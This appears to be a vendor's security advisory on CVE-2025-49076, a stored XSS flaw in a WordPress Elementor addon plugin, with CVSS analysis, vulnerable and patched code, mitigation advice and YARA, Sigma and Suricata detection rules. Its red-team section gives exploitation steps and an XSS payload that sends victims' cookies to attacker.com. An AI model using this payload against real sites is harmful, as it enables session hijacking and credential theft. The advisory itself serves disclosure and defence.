CVE-2025-49076
Executive Summary
CVE-2025-49076 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin The Plus Addons for Elementor Page Builder Lite, developed by POSIMYTH. The vulnerability exists in versions up to and including 6.2.7. An authenticated attacker with contributor-level access or higher can inject malicious JavaScript into web pages via improperly neutralized input fields. When an administrator or other user views the compromised page, the script executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress installation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or directly from the repository are at risk. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems. The supply chain risk is moderate, as the plugin is widely used for Elementor page building, and the vulnerability allows stored XSS, which can be used to inject malicious payloads into the site's content.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – An attacker needs contributor-level access to the WordPress site.
- User Interaction (UI): Required (R) – The victim must view the compromised page.
- Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited information disclosure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for stored XSS to affect administrators makes this a significant risk for multi-user WordPress sites.
Deep Dive & Mechanics
The vulnerability resides in the input sanitization routines of The Plus Addons for Elementor Page Builder Lite. The plugin fails to properly neutralize user-supplied input when generating web pages. Specifically, fields that accept HTML or JavaScript content (such as widget settings, custom CSS, or template parameters) are not adequately filtered or escaped before being stored in the database and later rendered in the browser.
Attack Flow:
- An attacker with contributor-level privileges logs into the WordPress admin panel.
- The attacker creates or edits a page/post using Elementor and inserts a vulnerable widget from The Plus Addons.
- The attacker injects a malicious JavaScript payload into an input field (e.g., a text field, URL parameter, or custom attribute).
- The plugin stores the payload in the WordPress database without proper sanitization.
- When an administrator or other user views the page, the payload executes in their browser.
Root Cause: The plugin uses functions like echo or the_content without applying WordPress's built-in escaping functions (e.g., esc_html(), esc_attr(), wp_kses_post()) to user-controlled data. This allows arbitrary HTML and JavaScript to be injected.
Vulnerable vs. Patched Code
The following example demonstrates the vulnerable pattern and the patched version. Note that the exact patch is not publicly available, but the fix typically involves proper output escaping.
Vulnerable Code (<= 6.2.7):
// In a widget template file
echo '<div class="plus-widget" data-custom="' . $instance['custom_data'] . '">';
// $instance['custom_data'] is not escaped
Patched Code (Hypothetical Fix):
// In a widget template file
echo '<div class="plus-widget" data-custom="' . esc_attr($instance['custom_data']) . '">';
// Using esc_attr() to safely output the value
The patched version uses esc_attr() for HTML attributes and esc_html() or wp_kses_post() for HTML content, preventing script injection.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress installation with The Plus Addons for Elementor Page Builder Lite <= 6.2.7.
- A contributor-level account.
Exploitation Steps:
- Log in as a contributor.
- Create a new page and edit with Elementor.
- Add a widget from The Plus Addons (e.g., "Heading" or "Button").
- In the widget's text field, inject the following payload:
<script>alert('XSS')</script> - Save and publish the page.
- As an administrator, view the page. The JavaScript alert will execute.
Advanced Payload:
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
Blue Team
Detection:
- Monitor for unusual JavaScript execution in the browser console.
- Review WordPress logs for suspicious page edits by contributor accounts.
- Use a Web Application Firewall (WAF) to block common XSS patterns.
Mitigation:
- Immediately update the plugin to a patched version (if available).
- Restrict contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to block inline scripts.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to attacker-controlled domains containing
document.cookiein the request body. - Host: Presence of
<script>tags or event handlers (e.g.,onerror,onload) in WordPress post/page content. - Logs: WordPress audit logs showing page edits by contributor accounts with unusual content.
- File: Modified plugin files (though the vulnerability is in the database, not files).
Detection Engineering
YARA Rule
rule CVE_2025_49076_Stored_XSS {
meta:
description = "Detects stored XSS payloads in WordPress post content for CVE-2025-49076"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-49076"
strings:
$xss1 = /<script[^>]*>.*<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
$xss3 = /onload\s*=\s*["']?[^"']*["']?/is
condition:
any of them
}
Sigma Rule
title: Stored XSS via The Plus Addons for Elementor
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress posts created by The Plus Addons for Elementor
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.response.body|contains:
- '<script>'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in posts (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-49076 Stored XSS in The Plus Addons for Elementor"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable The Plus Addons for Elementor Page Builder Lite until a patched version is released.
- Update: Monitor the WordPress plugin repository for an update. Apply the patch as soon as it becomes available.
- Access Control: Review and restrict contributor-level accounts. Only grant necessary privileges.
- Web Application Firewall: Deploy a WAF with rules to block XSS payloads.
- Content Security Policy: Implement CSP headers to prevent inline script execution.
- User Education: Train content editors to avoid pasting untrusted code into plugin fields.
Valters IT
Securing WordPress Ecosystems
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.